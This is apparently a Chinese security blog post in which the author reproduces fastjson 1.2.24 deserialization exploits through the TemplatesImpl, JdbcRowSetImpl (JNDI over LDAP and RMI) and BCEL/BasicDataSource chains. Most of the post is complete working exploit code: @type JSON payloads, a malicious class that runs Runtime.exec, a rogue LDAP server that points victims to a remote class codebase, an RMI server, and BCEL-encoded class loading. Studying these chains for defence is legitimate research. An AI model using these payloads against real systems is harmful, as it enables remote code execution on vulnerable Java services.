环境
pom.xml依赖如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency>
|
其它的和之前没啥差别,jdk用8u65就行,因为会有jndi相关的一些东西
基于 TemplatesImpl 的利用链
这条链子网上的文章分析的很多,但是用的却是最少的,fastjson中就是找哪个类下的getter和setter有问题,而这条链传入了一堆根本没有getter和setter的变量,所以就得开启Feature.SupportNonPublicField
这个属性反序列化的时候才能解析那些没有getter和setter方法的属性,这样就导致了这条链实用价值并不高
1.链子分析
选取能够命令执行的类
这里直接去到发现漏洞的类,在TemplatesImpl类,这个类也是CC3中利用的加载字节码的类即调用newInstance()
方法触发漏洞,在fastjson中它的一个getter方法里面也调用了即getTransletInstance()
方法
那这里可能就会出问题,实际上也确实有问题
TemplatesImpl调用条件分析
本来想先调试一下再来看的,奈何技术太差不会调,就跟着Drunkbaby佬先看一下 getTransletInstance()
方法,这里其实就和CC3差不多的了,我们需要进入defineTransletClasses()
方法里面,那么这里要满足的条件就和CC3一样的了
_name
不能为空,_class
要为空才能进入到defineTransletClasses()
方法所以不赋值或者赋值为null都行,接着来到defineTransletClasses()
方法,_bytecodes
不能为空否则抛异常,接着就是_tfactory
不能为空,因为这里会调用到getExternalExtensionsMap()
方法为空的话你无法调用并且会报错,这里看一下这个变量发现是transient
来修饰的,意味着反序列化无法取到它的值
不过它一开始就进行了实例化正好为TransformerFactoryImpl
类的实例,所以就不需要处理,但是在这里就有个疑问了,这也是前几天Jasper师傅问我的一个问题,我在分析CC3的时候都没注意到这个问题,既然它是由transient
来修饰反序列化无法获取到它的值,全靠它自己的初始化,那么exp中为什么又要给它处理一下呢?我记得在CC3中是通过反射给它实例化了一下,带着这个问题继续往下,看看待会能不能搞懂,目前大概的payload就如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\Java反序列化\\test.class"; String evilCode = readClass(evilClassPath); " { \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'Y0n3er', '_tfactory':{ },
";
|
但是经过尝试还是不行的,所以继续分析,这里再看一下Fastjson会对setter/getter方法进行调用的要求
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
而getTransletInstance()
这个方法不满足上述的返回值,如下
它获取了实现Translet接口类的实例,所以它返回的是一个抽象类,不满足上述的返回类型,fastjson无法调用到
解决无法调用 getTransletInstance()
方法的问题
那么在这里就像之前找链子一样,find usages找谁调用了getTransletInstance()
方法,发现在同一个类下的newTransformer()
方法中调用了
但是newTransformer()
不是setter/getter方法,无法直接调用,所以继续找谁调用了newTransformer()
,然后找到了一个getter方法为getOutputProperties()
在这个方法里面调用了newTransformer()
所以这时的链子如下
1 2
| getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
|
而且这个 getOutputProperties()
满足 getter 方法里面的返回值,因为返回值是 Properties 即继承自 Map 类型。
所以我们现在的 payload 里面需要去管 getOutputProperties()
的 _outputProperties
变量的值,直接赋值为空,因为在前面的调用中会把 _outputProperties
变为 outputProperties
,然后调用这个属性的getter方法即getOutputProperties()
这样就连起来了,所以我们的 payload 大概是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\Java反序列化\\test.class"; String evilCode = readClass(evilClassPath); " { \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'Y0n3er', '_tfactory':{ }, \"_outputProperties\":{ }, ";
|
其实这样再构造exp就能弹出计算器了,但是这里还是先具体看一下为什么要加上_outputProperties
最终是找到了下面这里
在JavaBeanDeserializer类下的parseField()
中调用了smartMatch()
方法,跟进这个方法看看,通过这个方法获取到key为_outputProperties
然后经过一系列操作将_outputProperties
替换为outputProperties
那么获取到这个属性之后就会去调用这个属性的getter方法,这样就来到了getOutputProperties()
方法中,所以不要这个属性是不行的,然后就是之前的那个问题,关于_tfactory
这个属性,在fastjson这条链中,这里直接将它设置为'_tfactory':{ }
即没有做任何处理,让它自己初始化然后去调用getExternalExtensionsMap()
方法,所以这里和CC3中不太一样这个问题就到时候再去看看CC3吧
2. EXP 构造
这里payload就是前面的那个,需要注意的是这里在反序列化的时候的参数需要加上 Object.class
加上这个参数后会返回我们反序列化的类,不然就返回的是parseObject
当然利用parse
来反序列化就不需要,然后还需要加上Feature.SupportNonPublicField
这个在前面已经提过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package FastjsonPoc; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class TemplatesImplPoc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main(String[] args) { try { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "E:\\Java反序列化\\test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'y0n3er','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text1);
Object obj = JSON.parse(text1, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
JdbcRowSetImpl 利用链
这条链子就是平时用的多的一条,利用的是jndi注入
1.JNDI + LDAP
直接分析一下流程吧,不知道为什么复现失败了。。。
这里直接来到JdbcRowSetImpl
这个类下,在connect()
方法下可以看到明显的jndi注入
现在寻找哪里调用了connect()
,最终是找到了两个,但是getDatabaseMetaData()
返回类型不符合getter调用条件,所以就找到了setAutoCommit()
这里我find uasges是能找到调用但是不知道为什么右边不显示如上图,并且不能直接跳转到源码,不知道是不是因为是class文件的原因,到这里就算结束了,exp如下
1 2 3 4 5 6 7 8 9 10 11
| package FastjsonPoc; import com.alibaba.fastjson.JSON; import com.sun.rowset.JdbcRowSetImpl; public class JdbcRowSetImplPOC { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/jhLlcFdL\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
这里利用的是yakit反连服务作为server,比较方便
能接收到ldap的请求,但就是弹不出计算器,报错如下
设置autoCommit属性错误,不知道命令执行失败是不是因为这个报错,由于复现失败也不想调试分析了,后面又看了看直接跳到了下面这里抛出InvocationTargetException异常,但是不知道怎么解决
因为打的是jndi注入,所以利用条件一样,也必须要出网。
后面又看了看,换了个方式来打,自己起服务不使用yakit,首先生成一个恶意字节码
1 2 3 4 5 6 7 8 9
| public class test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
上面这个利用javac编译为class文件,然后利用python起一个服务,记得起python服务的路径要和class文件路径一样不然读取不到class文件
然后起服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package FastjsonPoc; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8000/#test"; int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
攻击的exp,因为是自己本地起的服务所以在端口稍微不同,后面的remoteObj无所谓不为空就行
1 2 3 4 5 6 7 8 9 10 11 12
| package FastjsonPoc; import com.alibaba.fastjson.JSON; import com.sun.rowset.JdbcRowSetImpl; import java.lang.reflect.InvocationTargetException; public class JdbcRowSetImplPOC { public static void main(String[] args) throws Exception { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1099/remoteObj\",\"autoCommit\":false}"; JSON.parseObject(s); } }
|
这里也可以看到上面的报错是正常报错,和命令执行无关
2.JNDI+RMI
RMI攻击的exp把协议换一下就行,服务端不一样如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package FastjsonPoc; import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test","test","http://127.0.0.1:8000/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
攻击的exp,rmi这里必须为remoteObj,rmi这块儿没学好,接口这里有点迷
1 2 3 4 5 6 7 8 9 10 11
| package FastjsonPoc; import com.alibaba.fastjson.JSON;
public class RMIPayload { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
同样也可以利用工具marshalsec来起服务,但是我利用失败了就不演示了
基于BCEL的利用链
先看下BCEL是什么吧,然后把tomcat的依赖导进来后面会用到
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency>
|
BCEL
BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons
产生的。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。主要用来将xml文档转为class文件。编译后的class被称为translet,可以在后续用于对XML文件的转换。该库已经内置在了JDK中。关于BCEL具体详情可参考https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
。
这里先简单看下怎么利用BCEL来命令执行
BCEL中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader
,是一个ClassLoader,重写了loadClass
方法。在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行decode。
然后用一个小Dome简单调试一下
恶意类
1 2 3 4 5 6 7 8 9 10 11
| package FastjsonPoc; public class Evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }
|
测试Dome
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package FastjsonPoc; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import java.io.IOException; public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true); System.out.println("$$BCEL$$"+code); new ClassLoader().loadClass("$$BCEL$$"+code).newInstance(); } }
|
直接看下面这里
命令执行的地方在defineClass
即动态类加载,但进入这里首先clazz
不能为null,此时如果class_name
前几位为$$BCEL$$
就会去执行createClass
创建一个Classz这样就能来到defineClass
加载到恶意类返回类的对象,在newInstance()
的时候就会命令执行,那么现在就是找哪里能调用loadClass,最终是找到了BasicDataSource
类,在createConnectionFactory()
方法中会调用用forName其实底层就是调用loadClass(白日梦组长说的,具体没跟)
然后就是看这两个变量可不可控,让ClassName为恶意的name,ClassLoad为上面Dome中的,在这里其实是有对应的setter和getter
那么这两个变量可控现在看能不能调用到createConnectionFactory()
方法,找到了createDataSource()
方法,继续往上找
最终在getConnection()
中调用了createDataSource()
方法,且为getter方法
构造exp
尝试构造一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package FastjsonPoc; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource; import java.io.IOException; public class BcelPoc { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true); System.out.println("$$BCEL$$"+code); BasicDataSource dataSource = new BasicDataSource(); dataSource.setDriverClassLoader(new ClassLoader()); dataSource.setDriverClassName("$$BCEL$$"+code); dataSource.getConnection(); } }
|
成功执行,现在换成@type
形式的就OK了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package FastjsonPoc; import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource; import java.io.IOException; public class BcelPoc { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true); System.out.println("$$BCEL$$"+code);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" +code +"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(s); } }
|
后面一定要用parseObject()
去反序列化,因为我们要调它的getConnection()
为getter方法需要进入toJSON()
方法中
这条链子在不出网的时候可以利用
总结
JdbcRowSetImpl这条链一开始没打通搞得很烦,总的来说跟的不是很深,可能后面会来再看,另外感觉在Obsidian写了文章,然后利用Typora发博客图片处理真的麻烦,不知道有没有啥好办法
参考
Fastjson系列二——1.2.22-1.2.24反序列化漏洞 [ Mi1k7ea ]
【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇)_W01fh4cker的博客-CSDN博客
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)
红队漏洞研究-fastjsonBasicDataSource链分析_Gamma_lab的博客-CSDN博客
利用BCEL打fastjson直接burp回显getshell - FreeBuf网络安全行业门户
https://www.bilibili.com/video/BV1pP411N726/?spm_id_from=333.788&vd_source=fdbccecc8d1a39a2449860e47c52b6e7